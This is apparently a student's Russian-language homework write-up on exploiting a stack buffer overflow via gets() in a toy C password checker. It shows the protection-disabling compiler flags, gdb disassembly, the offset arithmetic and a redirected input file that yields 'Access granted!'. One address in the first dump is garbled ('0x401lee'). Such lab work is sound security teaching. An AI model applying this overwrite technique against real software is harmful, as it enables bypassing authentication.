

Компилируем программу с флагами:

- g – отладка
- fno-stack-protector – отключить канарейку
- no-pie – отключить ASLR

```
• ilya@ilya-MCLG-XX:~/VS Projects/Embedded_C/HW5$ gcc ./ex2.c -o ex2 -g -fno-stack-protector -no-pie  
../ex2.c: In function 'IsPassOk':  
./ex2.c:30:5: warning: implicit declaration of function 'gets'; did you mean 'fgets'? [Wimplicit-function-declaration]  
 30 |     gets(Pass);  
     |     ^~~~  
     |     fgets  
/usr/bin/ld: /tmp/ccYFtFGW.o: в функции «IsPassOk»:  
/home/ilya/VS Projects/Embedded_C/HW5./ex2.c:30:(.text+0x71): предупреждение: the 'gets' function is dangerous and should not be used.
```

Запускаем отладку скомпилированного файла и дизассемблируем функцию main. находим функцию IsPassOk и дизассемблируем её

```
○ ilya@ilya-MCLG-XX:~/VS Projects/Embedded_C/HW5$ gdb ex2  
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git  
Copyright (C) 2024 Free Software Foundation, Inc.  
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>  
This is free software: you are free to change and redistribute it.  
There is NO WARRANTY, to the extent permitted by law.  
Type "show copying" and "show warranty" for details.  
This GDB was configured as "x86_64-linux-gnu".  
Type "show configuration" for configuration details.  
For bug reporting instructions, please see:  
<https://www.gnu.org/software/gdb/bugs/>.  
Find the GDB manual and other documentation resources online at:  
<http://www.gnu.org/software/gdb/documentation/>.  
  
For help, type "help".  
Type "apropos word" to search for commands related to "word"....  
Reading symbols from ex2...  
(gdb) disassemble main  
Dump of assembler code for function main:  
0x0000000000401196 <+0>:    endbr64  
0x000000000040119a <+4>:    push   %rbp  
0x000000000040119b <+5>:    mov    %rsp,%rbp  
0x000000000040119e <+8>:    sub    $0x10,%rsp  
0x00000000004011a2 <+12>:   lea    0xe5b(%rip),%rax      # 0x402004  
0x00000000004011a9 <+19>:   mov    %rax,%rdi  
0x00000000004011ac <+22>:   call   0x401070 <puts@plt>  
0x00000000004011b1 <+27>:   call   0x401lee <IsPassOk>  
0x00000000004011b6 <+32>:   mov    %eax,-0x4(%rbp)  
0x00000000004011b9 <+35>:   cmpl   $0x0,-0x4(%rbp)  
0x00000000004011bd <+39>:   jne    0x4011d8 <main+66>  
0x00000000004011bf <+41>:   lea    0xe4e(%rip),%rax      # 0x402014  
0x00000000004011c6 <+48>:   mov    %rax,%rdi  
0x00000000004011c9 <+51>:   call   0x401070 <puts@plt>  
0x00000000004011ce <+56>:   mov    $0x1,%edi  
0x00000000004011d3 <+61>:   call   0x4010a0 <exit@plt>  
0x00000000004011d8 <+66>:   lea    0xe43(%rip),%rax      # 0x402022  
0x00000000004011df <+73>:   mov    %rax,%rdi  
0x00000000004011e2 <+76>:   call   0x401070 <puts@plt>  
0x00000000004011e7 <+81>:   mov    $0x0,%eax  
0x00000000004011ec <+86>:   leave  
0x00000000004011ed <+87>:   ret  
  
End of assembler dump.
```

Находим размер массива для ввода пароля – с, переводим из шестнадцатеричной системы в десятичную и получаем 12

```
(gdb) disassemble IsPassOk
Dump of assembler code for function IsPassOk:
0x00000000004011ee <+0>:    endbr64
0x00000000004011f2 <+4>:    push   %rbp
0x00000000004011f3 <+5>:    mov    %rsp,%rbp
0x00000000004011f6 <+8>:    sub    $0x10,%rsp
0x00000000004011fa <+12>:   lea    -0xc(%rbp),%rax
0x00000000004011fe <+16>:   mov    %rax,%rdi
0x0000000000401201 <+19>:   mov    $0x0,%eax
0x0000000000401206 <+24>:   call   0x401090 <gets@plt>
0x000000000040120b <+29>:   lea    -0xc(%rbp),%rax
0x000000000040120f <+33>:   lea    0xe1c(%rip),%rdx
0x0000000000401216 <+40>:   mov    %rdx,%rsi
0x0000000000401219 <+43>:   mov    %rax,%rdi
0x000000000040121c <+46>:   call   0x401080 <strcmp@plt>
0x0000000000401221 <+51>:   test   %eax,%eax
0x0000000000401223 <+53>:   sete   %al
0x0000000000401226 <+56>:   movzbl %al,%eax
0x0000000000401229 <+59>:   leave 
0x000000000040122a <+60>:   ret
End of assembler dump.
```

Исходя из этого, понимаем что надо будет ввести 12 символов мусора + 8 символов мусора для rbp + нужный адрес

Находим адрес нужной нам строки

```
(gdb) disassemble main
Dump of assembler code for function main:
0x0000000000401196 <+0>:    endbr64
0x000000000040119a <+4>:    push   %rbp
0x000000000040119b <+5>:    mov    %rsp,%rbp
0x000000000040119e <+8>:    sub    $0x10,%rsp
0x00000000004011a2 <+12>:   lea    0xe5b(%rip),%rax      # 0x402004
0x00000000004011a9 <+19>:   mov    %rax,%rdi
0x00000000004011ac <+22>:   call   0x401070 <puts@plt>
0x00000000004011b1 <+27>:   call   0x4011ee <IsPassOk>
0x00000000004011b6 <+32>:   mov    %eax,-0x4(%rbp)
0x00000000004011b9 <+35>:   cmpl   $0x0,-0x4(%rbp)
0x00000000004011bd <+39>:   jne    0x4011d8 <main+66>
0x00000000004011bf <+41>:   lea    0xe4e(%rip),%rax      # 0x402014
0x00000000004011c6 <+48>:   mov    %rax,%rdi
0x00000000004011c9 <+51>:   call   0x401070 <puts@plt>
0x00000000004011ce <+56>:   mov    $0x1,%edi
0x00000000004011d3 <+61>:   call   0x4010a0 <exit@plt>
0x00000000004011d8 <+66>:   lea    0xe43(%rip),%rax      # 0x402022
0x00000000004011df <+73>:   mov    %rax,%rdi
0x00000000004011e2 <+76>:   call   0x401070 <puts@plt>
0x00000000004011e7 <+81>:   mov    $0x0,%eax
0x00000000004011ec <+86>:   leave 
0x00000000004011ed <+87>:   ret
End of assembler dump.
(gdb) x/s 0x402022
0x402022:      "Access granted!"
```

Имея нужный адрес, мы можем написать программу, которая создаст нам файл, который мы потом перенаправим на ввод в программу

Перенаправляем файл на ввод в программу и получаем нужный нам ответ

```
ilya@ilya-MCLG-XX:~/VS Projects/Embedded_C/HW5$ ./ex2 < ./pass.txt
Enter password:
Access granted!
```